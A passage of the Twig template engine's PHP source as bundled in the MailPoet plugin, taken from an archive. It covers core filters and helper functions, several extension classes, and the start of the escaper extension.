'class' => \MailPoetVendor\Twig\Node\Expression\Binary\OrBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], 'and' => ['precedence' => 15, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\AndBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], 'b-or' => ['precedence' => 16, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\BitwiseOrBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], 'b-xor' => ['precedence' => 17, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\BitwiseXorBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], 'b-and' => ['precedence' => 18, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\BitwiseAndBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '==' => ['precedence' => 20, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\EqualBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '!=' => ['precedence' => 20, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\NotEqualBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '<=>' => ['precedence' => 20, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\SpaceshipBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '<' => ['precedence' => 20, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\LessBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '>' => ['precedence' => 20, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\GreaterBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '>=' => ['precedence' => 20, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\GreaterEqualBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '<=' => ['precedence' => 20, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\LessEqualBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], 'not in' => ['precedence' => 20, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\NotInBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], 'in' => ['precedence' => 20, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\InBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], 'matches' => ['precedence' => 20, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\MatchesBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], 'starts with' => ['precedence' => 20, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\StartsWithBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], 'ends with' => ['precedence' => 20, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\EndsWithBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '..' => ['precedence' => 25, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\RangeBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '+' => ['precedence' => 30, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\AddBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '-' => ['precedence' => 30, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\SubBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '~' => ['precedence' => 40, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\ConcatBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '*' => ['precedence' => 60, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\MulBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '/' => ['precedence' => 60, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\DivBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '//' => ['precedence' => 60, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\FloorDivBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '%' => ['precedence' => 60, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\ModBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], 'is' => ['precedence' => 100, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], 'is not' => ['precedence' => 100, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_LEFT], '**' => ['precedence' => 200, 'class' => \MailPoetVendor\Twig\Node\Expression\Binary\PowerBinary::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_RIGHT], '??' => ['precedence' => 300, 'class' => \MailPoetVendor\Twig\Node\Expression\NullCoalesceExpression::class, 'associativity' => \MailPoetVendor\Twig\ExpressionParser::OPERATOR_RIGHT]]]; } } \class_alias('MailPoetVendor\\Twig\\Extension\\CoreExtension', 'MailPoetVendor\\Twig_Extension_Core'); namespace MailPoetVendor; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Error\LoaderError; use MailPoetVendor\Twig\Error\RuntimeError; use MailPoetVendor\Twig\Extension\CoreExtension; use MailPoetVendor\Twig\Extension\SandboxExtension; use MailPoetVendor\Twig\Markup; use MailPoetVendor\Twig\Source; use MailPoetVendor\Twig\Template; function twig_cycle($values, $position) { if (!\is_array($values) && !$values instanceof \ArrayAccess) { return $values; } return $values[$position % \count($values)]; } function twig_random(\MailPoetVendor\Twig\Environment $env, $values = null, $max = null) { if (null === $values) { return null === $max ? \mt_rand() : \mt_rand(0, $max); } if (\is_int($values) || \is_float($values)) { if (null === $max) { if ($values < 0) { $max = 0; $min = $values; } else { $max = $values; $min = 0; } } else { $min = $values; $max = $max; } return \mt_rand($min, $max); } if (\is_string($values)) { if ('' === $values) { return ''; } $charset = $env->getCharset(); if ('UTF-8' !== $charset) { $values = \MailPoetVendor\twig_convert_encoding($values, 'UTF-8', $charset); } $values = \preg_split('/(?<!^)(?!$)/u', $values); if ('UTF-8' !== $charset) { foreach ($values as $i => $value) { $values[$i] = \MailPoetVendor\twig_convert_encoding($value, $charset, 'UTF-8'); } } } if (!\MailPoetVendor\twig_test_iterable($values)) { return $values; } $values = \MailPoetVendor\twig_to_array($values); if (0 === \count($values)) { throw new \MailPoetVendor\Twig\Error\RuntimeError('The random function cannot pick from an empty array.'); } return $values[\array_rand($values, 1)]; } function twig_date_format_filter(\MailPoetVendor\Twig\Environment $env, $date, $format = null, $timezone = null) { if (null === $format) { $formats = $env->getExtension(\MailPoetVendor\Twig\Extension\CoreExtension::class)->getDateFormat(); $format = $date instanceof \DateInterval ? $formats[1] : $formats[0]; } if ($date instanceof \DateInterval) { return $date->format($format); } return \MailPoetVendor\twig_date_converter($env, $date, $timezone)->format($format); } function twig_date_modify_filter(\MailPoetVendor\Twig\Environment $env, $date, $modifier) { $date = \MailPoetVendor\twig_date_converter($env, $date, \false); return $date->modify($modifier); } function twig_date_converter(\MailPoetVendor\Twig\Environment $env, $date = null, $timezone = null) { if (\false !== $timezone) { if (null === $timezone) { $timezone = $env->getExtension(\MailPoetVendor\Twig\Extension\CoreExtension::class)->getTimezone(); } elseif (!$timezone instanceof \DateTimeZone) { $timezone = new \DateTimeZone($timezone); } } if ($date instanceof \DateTimeImmutable) { return \false !== $timezone ? $date->setTimezone($timezone) : $date; } if ($date instanceof \DateTimeInterface) { $date = clone $date; if (\false !== $timezone) { $date->setTimezone($timezone); } return $date; } if (null === $date || 'now' === $date) { return new \DateTime($date, \false !== $timezone ? $timezone : $env->getExtension(\MailPoetVendor\Twig\Extension\CoreExtension::class)->getTimezone()); } $asString = (string) $date; if (\ctype_digit($asString) || !empty($asString) && '-' === $asString[0] && \ctype_digit(\substr($asString, 1))) { $date = new \DateTime('@' . $date); } else { $date = new \DateTime($date, $env->getExtension(\MailPoetVendor\Twig\Extension\CoreExtension::class)->getTimezone()); } if (\false !== $timezone) { $date->setTimezone($timezone); } return $date; } function twig_replace_filter($str, $from) { if (!\MailPoetVendor\twig_test_iterable($from)) { throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('The "replace" filter expects an array or "Traversable" as replace values, got "%s".', \is_object($from) ? \get_class($from) : \gettype($from))); } return \strtr($str, \MailPoetVendor\twig_to_array($from)); } function twig_round($value, $precision = 0, $method = 'common') { if ('common' == $method) { return \round($value, $precision); } if ('ceil' != $method && 'floor' != $method) { throw new \MailPoetVendor\Twig\Error\RuntimeError('The round filter only supports the "common", "ceil", and "floor" methods.'); } return $method($value * \pow(10, $precision)) / \pow(10, $precision); } function twig_number_format_filter(\MailPoetVendor\Twig\Environment $env, $number, $decimal = null, $decimalPoint = null, $thousandSep = null) { $defaults = $env->getExtension(\MailPoetVendor\Twig\Extension\CoreExtension::class)->getNumberFormat(); if (null === $decimal) { $decimal = $defaults[0]; } if (null === $decimalPoint) { $decimalPoint = $defaults[1]; } if (null === $thousandSep) { $thousandSep = $defaults[2]; } return \number_format((float) $number, $decimal, $decimalPoint, $thousandSep); } function twig_urlencode_filter($url) { if (\is_array($url)) { return \http_build_query($url, '', '&', \PHP_QUERY_RFC3986); } return \rawurlencode($url); } function twig_array_merge($arr1, $arr2) { if (!\MailPoetVendor\twig_test_iterable($arr1)) { throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('The merge filter only works with arrays or "Traversable", got "%s" as first argument.', \gettype($arr1))); } if (!\MailPoetVendor\twig_test_iterable($arr2)) { throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('The merge filter only works with arrays or "Traversable", got "%s" as second argument.', \gettype($arr2))); } return \array_merge(\MailPoetVendor\twig_to_array($arr1), \MailPoetVendor\twig_to_array($arr2)); } function twig_slice(\MailPoetVendor\Twig\Environment $env, $item, $start, $length = null, $preserveKeys = \false) { if ($item instanceof \Traversable) { while ($item instanceof \IteratorAggregate) { $item = $item->getIterator(); } if ($start >= 0 && $length >= 0 && $item instanceof \Iterator) { try { return \iterator_to_array(new \LimitIterator($item, $start, null === $length ? -1 : $length), $preserveKeys); } catch (\OutOfBoundsException $e) { return []; } } $item = \iterator_to_array($item, $preserveKeys); } if (\is_array($item)) { return \array_slice($item, $start, $length, $preserveKeys); } $item = (string) $item; return (string) \mb_substr($item, $start, $length, $env->getCharset()); } function twig_first(\MailPoetVendor\Twig\Environment $env, $item) { $elements = \MailPoetVendor\twig_slice($env, $item, 0, 1, \false); return \is_string($elements) ? $elements : \current($elements); } function twig_last(\MailPoetVendor\Twig\Environment $env, $item) { $elements = \MailPoetVendor\twig_slice($env, $item, -1, 1, \false); return \is_string($elements) ? $elements : \current($elements); } function twig_join_filter($value, $glue = '', $and = null) { if (!\MailPoetVendor\twig_test_iterable($value)) { $value = (array) $value; } $value = \MailPoetVendor\twig_to_array($value, \false); if (0 === \count($value)) { return ''; } if (null === $and || $and === $glue) { return \implode($glue, $value); } if (1 === \count($value)) { return $value[0]; } return \implode($glue, \array_slice($value, 0, -1)) . $and . $value[\count($value) - 1]; } function twig_split_filter(\MailPoetVendor\Twig\Environment $env, $value, $delimiter, $limit = null) { if (\strlen($delimiter) > 0) { return null === $limit ? \explode($delimiter, $value) : \explode($delimiter, $value, $limit); } if ($limit <= 1) { return \preg_split('/(?<!^)(?!$)/u', $value); } $length = \mb_strlen($value, $env->getCharset()); if ($length < $limit) { return [$value]; } $r = []; for ($i = 0; $i < $length; $i += $limit) { $r[] = \mb_substr($value, $i, $limit, $env->getCharset()); } return $r; } function _twig_default_filter($value, $default = '') { if (\MailPoetVendor\twig_test_empty($value)) { return $default; } return $value; } function twig_get_array_keys_filter($array) { if ($array instanceof \Traversable) { while ($array instanceof \IteratorAggregate) { $array = $array->getIterator(); } if ($array instanceof \Iterator) { $keys = []; $array->rewind(); while ($array->valid()) { $keys[] = $array->key(); $array->next(); } return $keys; } $keys = []; foreach ($array as $key => $item) { $keys[] = $key; } return $keys; } if (!\is_array($array)) { return []; } return \array_keys($array); } function twig_reverse_filter(\MailPoetVendor\Twig\Environment $env, $item, $preserveKeys = \false) { if ($item instanceof \Traversable) { return \array_reverse(\iterator_to_array($item), $preserveKeys); } if (\is_array($item)) { return \array_reverse($item, $preserveKeys); } $string = (string) $item; $charset = $env->getCharset(); if ('UTF-8' !== $charset) { $item = \MailPoetVendor\twig_convert_encoding($string, 'UTF-8', $charset); } \preg_match_all('/./us', $item, $matches); $string = \implode('', \array_reverse($matches[0])); if ('UTF-8' !== $charset) { $string = \MailPoetVendor\twig_convert_encoding($string, $charset, 'UTF-8'); } return $string; } function twig_sort_filter($array, $arrow = null) { if ($array instanceof \Traversable) { $array = \iterator_to_array($array); } elseif (!\is_array($array)) { throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array))); } if (null !== $arrow) { \uasort($array, $arrow); } else { \asort($array); } return $array; } function twig_in_filter($value, $compare) { if ($value instanceof \MailPoetVendor\Twig\Markup) { $value = (string) $value; } if ($compare instanceof \MailPoetVendor\Twig\Markup) { $compare = (string) $compare; } if (\is_array($compare)) { return \in_array($value, $compare, \is_object($value) || \is_resource($value)); } elseif (\is_string($compare) && (\is_string($value) || \is_int($value) || \is_float($value))) { return '' === $value || \false !== \strpos($compare, (string) $value); } elseif ($compare instanceof \Traversable) { if (\is_object($value) || \is_resource($value)) { foreach ($compare as $item) { if ($item === $value) { return \true; } } } else { foreach ($compare as $item) { if ($item == $value) { return \true; } } } return \false; } return \false; } function twig_trim_filter($string, $characterMask = null, $side = 'both') { if (null === $characterMask) { $characterMask = " \t\n\r\0\v"; } switch ($side) { case 'both': return \trim($string, $characterMask); case 'left': return \ltrim($string, $characterMask); case 'right': return \rtrim($string, $characterMask); default: throw new \MailPoetVendor\Twig\Error\RuntimeError('Trimming side must be "left", "right" or "both".'); } } function twig_spaceless($content) { return \trim(\preg_replace('/>\\s+</', '><', $content)); } function twig_convert_encoding($string, $to, $from) { if (!\function_exists('iconv')) { throw new \MailPoetVendor\Twig\Error\RuntimeError('Unable to convert encoding: required function iconv() does not exist. You should install ext-iconv or symfony/polyfill-iconv.'); } return \iconv($from, $to, $string); } function twig_length_filter(\MailPoetVendor\Twig\Environment $env, $thing) { if (null === $thing) { return 0; } if (\is_scalar($thing)) { return \mb_strlen($thing, $env->getCharset()); } if ($thing instanceof \Countable || \is_array($thing) || $thing instanceof \SimpleXMLElement) { return \count($thing); } if ($thing instanceof \Traversable) { return \iterator_count($thing); } if (\method_exists($thing, '__toString') && !$thing instanceof \Countable) { return \mb_strlen((string) $thing, $env->getCharset()); } return 1; } function twig_upper_filter(\MailPoetVendor\Twig\Environment $env, $string) { return \mb_strtoupper($string, $env->getCharset()); } function twig_lower_filter(\MailPoetVendor\Twig\Environment $env, $string) { return \mb_strtolower($string, $env->getCharset()); } function twig_title_string_filter(\MailPoetVendor\Twig\Environment $env, $string) { if (null !== ($charset = $env->getCharset())) { return \mb_convert_case($string, \MB_CASE_TITLE, $charset); } return \ucwords(\strtolower($string)); } function twig_capitalize_string_filter(\MailPoetVendor\Twig\Environment $env, $string) { $charset = $env->getCharset(); return \mb_strtoupper(\mb_substr($string, 0, 1, $charset), $charset) . \mb_strtolower(\mb_substr($string, 1, null, $charset), $charset); } function twig_call_macro(\MailPoetVendor\Twig\Template $template, string $method, array $args, int $lineno, array $context, \MailPoetVendor\Twig\Source $source) { if (!\method_exists($template, $method)) { $parent = $template; while ($parent = $parent->getParent($context)) { if (\method_exists($parent, $method)) { return $parent->{$method}(...$args); } } throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('Macro "%s" is not defined in template "%s".', \substr($method, \strlen('macro_')), $template->getTemplateName()), $lineno, $source); } return $template->{$method}(...$args); } function twig_ensure_traversable($seq) { if ($seq instanceof \Traversable || \is_array($seq)) { return $seq; } return []; } function twig_to_array($seq, $preserveKeys = \true) { if ($seq instanceof \Traversable) { return \iterator_to_array($seq, $preserveKeys); } if (!\is_array($seq)) { return $seq; } return $preserveKeys ? $seq : \array_values($seq); } function twig_test_empty($value) { if ($value instanceof \Countable) { return 0 == \count($value); } if ($value instanceof \Traversable) { return !\iterator_count($value); } if (\is_object($value) && \method_exists($value, '__toString')) { return '' === (string) $value; } return '' === $value || \false === $value || null === $value || [] === $value; } function twig_test_iterable($value) { return $value instanceof \Traversable || \is_array($value); } function twig_include(\MailPoetVendor\Twig\Environment $env, $context, $template, $variables = [], $withContext = \true, $ignoreMissing = \false, $sandboxed = \false) { $alreadySandboxed = \false; $sandbox = null; if ($withContext) { $variables = \array_merge($context, $variables); } if ($isSandboxed = $sandboxed && $env->hasExtension(\MailPoetVendor\Twig\Extension\SandboxExtension::class)) { $sandbox = $env->getExtension(\MailPoetVendor\Twig\Extension\SandboxExtension::class); if (!($alreadySandboxed = $sandbox->isSandboxed())) { $sandbox->enableSandbox(); } } try { $loaded = null; try { $loaded = $env->resolveTemplate($template); } catch (\MailPoetVendor\Twig\Error\LoaderError $e) { if (!$ignoreMissing) { throw $e; } } return $loaded ? $loaded->render($variables) : ''; } finally { if ($isSandboxed && !$alreadySandboxed) { $sandbox->disableSandbox(); } } } function twig_source(\MailPoetVendor\Twig\Environment $env, $name, $ignoreMissing = \false) { $loader = $env->getLoader(); try { return $loader->getSourceContext($name)->getCode(); } catch (\MailPoetVendor\Twig\Error\LoaderError $e) { if (!$ignoreMissing) { throw $e; } } } function twig_constant($constant, $object = null) { if (null !== $object) { $constant = \get_class($object) . '::' . $constant; } return \constant($constant); } function twig_constant_is_defined($constant, $object = null) { if (null !== $object) { $constant = \get_class($object) . '::' . $constant; } return \defined($constant); } function twig_array_batch($items, $size, $fill = null, $preserveKeys = \true) { if (!\MailPoetVendor\twig_test_iterable($items)) { throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('The "batch" filter expects an array or "Traversable", got "%s".', \is_object($items) ? \get_class($items) : \gettype($items))); } $size = \ceil($size); $result = \array_chunk(\MailPoetVendor\twig_to_array($items, $preserveKeys), $size, $preserveKeys); if (null !== $fill && $result) { $last = \count($result) - 1; if ($fillCount = $size - \count($result[$last])) { for ($i = 0; $i < $fillCount; ++$i) { $result[$last][] = $fill; } } } return $result; } function twig_get_attribute(\MailPoetVendor\Twig\Environment $env, \MailPoetVendor\Twig\Source $source, $object, $item, array $arguments = [], $type = 'any', $isDefinedTest = \false, $ignoreStrictCheck = \false, $sandboxed = \false, int $lineno = -1) { if ('method' !== $type) { $arrayItem = \is_bool($item) || \is_float($item) ? (int) $item : $item; if ((\is_array($object) || $object instanceof \ArrayObject) && (isset($object[$arrayItem]) || \array_key_exists($arrayItem, (array) $object)) || $object instanceof \ArrayAccess && isset($object[$arrayItem])) { if ($isDefinedTest) { return \true; } return $object[$arrayItem]; } if ('array' === $type || !\is_object($object)) { if ($isDefinedTest) { return \false; } if ($ignoreStrictCheck || !$env->isStrictVariables()) { return; } if ($object instanceof \ArrayAccess) { $message = \sprintf('Key "%s" in object with ArrayAccess of class "%s" does not exist.', $arrayItem, \get_class($object)); } elseif (\is_object($object)) { $message = \sprintf('Impossible to access a key "%s" on an object of class "%s" that does not implement ArrayAccess interface.', $item, \get_class($object)); } elseif (\is_array($object)) { if (empty($object)) { $message = \sprintf('Key "%s" does not exist as the array is empty.', $arrayItem); } else { $message = \sprintf('Key "%s" for array with keys "%s" does not exist.', $arrayItem, \implode(', ', \array_keys($object))); } } elseif ('array' === $type) { if (null === $object) { $message = \sprintf('Impossible to access a key ("%s") on a null variable.', $item); } else { $message = \sprintf('Impossible to access a key ("%s") on a %s variable ("%s").', $item, \gettype($object), $object); } } elseif (null === $object) { $message = \sprintf('Impossible to access an attribute ("%s") on a null variable.', $item); } else { $message = \sprintf('Impossible to access an attribute ("%s") on a %s variable ("%s").', $item, \gettype($object), $object); } throw new \MailPoetVendor\Twig\Error\RuntimeError($message, $lineno, $source); } } if (!\is_object($object)) { if ($isDefinedTest) { return \false; } if ($ignoreStrictCheck || !$env->isStrictVariables()) { return; } if (null === $object) { $message = \sprintf('Impossible to invoke a method ("%s") on a null variable.', $item); } elseif (\is_array($object)) { $message = \sprintf('Impossible to invoke a method ("%s") on an array.', $item); } else { $message = \sprintf('Impossible to invoke a method ("%s") on a %s variable ("%s").', $item, \gettype($object), $object); } throw new \MailPoetVendor\Twig\Error\RuntimeError($message, $lineno, $source); } if ($object instanceof \MailPoetVendor\Twig\Template) { throw new \MailPoetVendor\Twig\Error\RuntimeError('Accessing \\Twig\\Template attributes is forbidden.', $lineno, $source); } if ('method' !== $type) { if (isset($object->{$item}) || \array_key_exists((string) $item, (array) $object)) { if ($isDefinedTest) { return \true; } if ($sandboxed) { $env->getExtension(\MailPoetVendor\Twig\Extension\SandboxExtension::class)->checkPropertyAllowed($object, $item, $lineno, $source); } return $object->{$item}; } } static $cache = []; $class = \get_class($object); if (!isset($cache[$class])) { $methods = \get_class_methods($object); \sort($methods); $lcMethods = \array_map(function ($value) { return \strtr($value, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'); }, $methods); $classCache = []; foreach ($methods as $i => $method) { $classCache[$method] = $method; $classCache[$lcName = $lcMethods[$i]] = $method; if ('g' === $lcName[0] && 0 === \strpos($lcName, 'get')) { $name = \substr($method, 3); $lcName = \substr($lcName, 3); } elseif ('i' === $lcName[0] && 0 === \strpos($lcName, 'is')) { $name = \substr($method, 2); $lcName = \substr($lcName, 2); } elseif ('h' === $lcName[0] && 0 === \strpos($lcName, 'has')) { $name = \substr($method, 3); $lcName = \substr($lcName, 3); if (\in_array('is' . $lcName, $lcMethods)) { continue; } } else { continue; } if ($name) { if (!isset($classCache[$name])) { $classCache[$name] = $method; } if (!isset($classCache[$lcName])) { $classCache[$lcName] = $method; } } } $cache[$class] = $classCache; } $call = \false; if (isset($cache[$class][$item])) { $method = $cache[$class][$item]; } elseif (isset($cache[$class][$lcItem = \strtr($item, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')])) { $method = $cache[$class][$lcItem]; } elseif (isset($cache[$class]['__call'])) { $method = $item; $call = \true; } else { if ($isDefinedTest) { return \false; } if ($ignoreStrictCheck || !$env->isStrictVariables()) { return; } throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('Neither the property "%1$s" nor one of the methods "%1$s()", "get%1$s()"/"is%1$s()"/"has%1$s()" or "__call()" exist and have public access in class "%2$s".', $item, $class), $lineno, $source); } if ($isDefinedTest) { return \true; } if ($sandboxed) { $env->getExtension(\MailPoetVendor\Twig\Extension\SandboxExtension::class)->checkMethodAllowed($object, $method, $lineno, $source); } try { $ret = $object->{$method}(...$arguments); } catch (\BadMethodCallException $e) { if ($call && ($ignoreStrictCheck || !$env->isStrictVariables())) { return; } throw $e; } return $ret; } function twig_array_column($array, $name, $index = null) : array { if ($array instanceof \Traversable) { $array = \iterator_to_array($array); } elseif (!\is_array($array)) { throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('The column filter only works with arrays or "Traversable", got "%s" as first argument.', \gettype($array))); } return \array_column($array, $name, $index); } function twig_array_filter($array, $arrow) { if (\is_array($array)) { return \array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); } return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow); } function twig_array_map($array, $arrow) { $r = []; foreach ($array as $k => $v) { $r[$k] = $arrow($v, $k); } return $r; } function twig_array_reduce($array, $arrow, $initial = null) { if (!\is_array($array)) { $array = \iterator_to_array($array); } return \array_reduce($array, $arrow, $initial); } twig/src/Extension/GlobalsInterface.php000066600000000402150351206230014173 0ustar00<?php
 namespace MailPoetVendor\Twig\Extension; if (!defined('ABSPATH')) exit; interface GlobalsInterface { public function getGlobals(); } \class_alias('MailPoetVendor\\Twig\\Extension\\GlobalsInterface', 'MailPoetVendor\\Twig_Extension_GlobalsInterface'); twig/src/Extension/ProfilerExtension.php000066600000001742150351206230014456 0ustar00<?php
 namespace MailPoetVendor\Twig\Extension; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Profiler\NodeVisitor\ProfilerNodeVisitor; use MailPoetVendor\Twig\Profiler\Profile; class ProfilerExtension extends \MailPoetVendor\Twig\Extension\AbstractExtension { private $actives = []; public function __construct(\MailPoetVendor\Twig\Profiler\Profile $profile) { $this->actives[] = $profile; } public function enter(\MailPoetVendor\Twig\Profiler\Profile $profile) { $this->actives[0]->addProfile($profile); \array_unshift($this->actives, $profile); } public function leave(\MailPoetVendor\Twig\Profiler\Profile $profile) { $profile->leave(); \array_shift($this->actives); if (1 === \count($this->actives)) { $this->actives[0]->leave(); } } public function getNodeVisitors() { return [new \MailPoetVendor\Twig\Profiler\NodeVisitor\ProfilerNodeVisitor(\get_class($this))]; } } \class_alias('MailPoetVendor\\Twig\\Extension\\ProfilerExtension', 'MailPoetVendor\\Twig_Extension_Profiler'); twig/src/Extension/StagingExtension.php000066600000004123150351206230014264 0ustar00<?php
 namespace MailPoetVendor\Twig\Extension; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface; use MailPoetVendor\Twig\TokenParser\TokenParserInterface; use MailPoetVendor\Twig\TwigFilter; use MailPoetVendor\Twig\TwigFunction; use MailPoetVendor\Twig\TwigTest; final class StagingExtension extends \MailPoetVendor\Twig\Extension\AbstractExtension { private $functions = []; private $filters = []; private $visitors = []; private $tokenParsers = []; private $tests = []; public function addFunction(\MailPoetVendor\Twig\TwigFunction $function) { if (isset($this->functions[$function->getName()])) { throw new \LogicException(\sprintf('Function "%s" is already registered.', $function->getName())); } $this->functions[$function->getName()] = $function; } public function getFunctions() { return $this->functions; } public function addFilter(\MailPoetVendor\Twig\TwigFilter $filter) { if (isset($this->filters[$filter->getName()])) { throw new \LogicException(\sprintf('Filter "%s" is already registered.', $filter->getName())); } $this->filters[$filter->getName()] = $filter; } public function getFilters() { return $this->filters; } public function addNodeVisitor(\MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface $visitor) { $this->visitors[] = $visitor; } public function getNodeVisitors() { return $this->visitors; } public function addTokenParser(\MailPoetVendor\Twig\TokenParser\TokenParserInterface $parser) { if (isset($this->tokenParsers[$parser->getTag()])) { throw new \LogicException(\sprintf('Tag "%s" is already registered.', $parser->getTag())); } $this->tokenParsers[$parser->getTag()] = $parser; } public function getTokenParsers() { return $this->tokenParsers; } public function addTest(\MailPoetVendor\Twig\TwigTest $test) { if (isset($this->tests[$test->getName()])) { throw new \LogicException(\sprintf('Test "%s" is already registered.', $test->getName())); } $this->tests[$test->getName()] = $test; } public function getTests() { return $this->tests; } } \class_alias('MailPoetVendor\\Twig\\Extension\\StagingExtension', 'MailPoetVendor\\Twig_Extension_Staging'); twig/src/Extension/InitRuntimeInterface.php000066600000000541150351206230015063 0ustar00<?php
 namespace MailPoetVendor\Twig\Extension; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Environment; interface InitRuntimeInterface { public function initRuntime(\MailPoetVendor\Twig\Environment $environment); } \class_alias('MailPoetVendor\\Twig\\Extension\\InitRuntimeInterface', 'MailPoetVendor\\Twig_Extension_InitRuntimeInterface'); twig/src/Extension/EscaperExtension.php000066600000020602150351206230014252 0ustar00<?php
 namespace MailPoetVendor\Twig\Extension; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\FileExtensionEscapingStrategy; use MailPoetVendor\Twig\NodeVisitor\EscaperNodeVisitor; use MailPoetVendor\Twig\TokenParser\AutoEscapeTokenParser; use MailPoetVendor\Twig\TwigFilter; final class EscaperExtension extends \MailPoetVendor\Twig\Extension\AbstractExtension { private $defaultStrategy; private $escapers = []; public $safeClasses = []; public $safeLookup = []; public function __construct($defaultStrategy = 'html') { $this->setDefaultStrategy($defaultStrategy); } public function getTokenParsers() { return [new \MailPoetVendor\Twig\TokenParser\AutoEscapeTokenParser()]; } public function getNodeVisitors() { return [new \MailPoetVendor\Twig\NodeVisitor\EscaperNodeVisitor()]; } public function getFilters() { return [new \MailPoetVendor\Twig\TwigFilter('escape', '\\MailPoetVendor\\twig_escape_filter', ['needs_environment' => \true, 'is_safe_callback' => '\\MailPoetVendor\\twig_escape_filter_is_safe']), new \MailPoetVendor\Twig\TwigFilter('e', '\\MailPoetVendor\\twig_escape_filter', ['needs_environment' => \true, 'is_safe_callback' => '\\MailPoetVendor\\twig_escape_filter_is_safe']), new \MailPoetVendor\Twig\TwigFilter('raw', '\\MailPoetVendor\\twig_raw_filter', ['is_safe' => ['all']])]; } public function setDefaultStrategy($defaultStrategy) { if ('name' === $defaultStrategy) { $defaultStrategy = [\MailPoetVendor\Twig\FileExtensionEscapingStrategy::class, 'guess']; } $this->defaultStrategy = $defaultStrategy; } public function getDefaultStrategy($name) { if (!\is_string($this->defaultStrategy) && \false !== $this->defaultStrategy) { return \call_user_func($this->defaultStrategy, $name); } return $this->defaultStrategy; } public function setEscaper($strategy, callable $callable) { $this->escapers[$strategy] = $callable; } public function getEscapers() { return $this->escapers; } public function setSafeClasses(array $safeClasses = []) { $this->safeClasses = []; $this->safeLookup = []; foreach ($safeClasses as $class => $strategies) { $this->addSafeClass($class, $strategies); } } public function addSafeClass(string $class, array $strategies) { $class = \ltrim($class, '\\'); if 